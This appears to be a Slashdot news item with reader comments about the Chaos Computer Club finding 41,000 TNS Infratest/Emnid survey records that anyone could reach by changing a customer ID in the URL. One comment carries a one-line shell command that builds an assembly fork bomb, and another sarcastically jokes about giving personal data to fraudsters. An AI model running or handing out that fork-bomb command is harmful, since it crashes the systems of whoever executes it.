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German Survey Company Loses 41,000 Survey Records
mister_woods writes "It's not just governments that lose private data. Germany's Chaos Computer Club (CCC) reports that market research firm TNS Infratest/Emnid has lost 41,000 private data records of their survey participants. By simply changing the customer ID number in the browser's address bar access could be gained to comprehensive survey results, including names, addresses, dates of birth, email addresses, phone numbers and much more sensitive data. A CCC spokesman described this as 'unprofessional, grossly negligent and above all deeply worrying' and sees this loss as a vindication for its calls for strict regulations for public and private sector data collectors."
What are you worried about? It's just bits. Information wants to be free. It's not like you own it or anything. Complaining about it being posted on the net will just lead to the Streisand Effect.
Everyone knows that security through obscurity is a bad model. In the Web 2.0 world the only sustainable business model is to make your Social Security number public and sell support on people who want to use it. E.g. if some dude in Nigeria is trying to apply for a credit card in your name he might get asked about your postal address and secret codeword. You could make a few bucks if you gave him the information, more if you applied for the credit card for him yourself.
And don't try to encrypt stuff. Studies show that 95% of Nigerian phishers want DRM free personal information.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, I certainly won't be completing any more German surveys...
ZuluPad, the wiki notepad on crack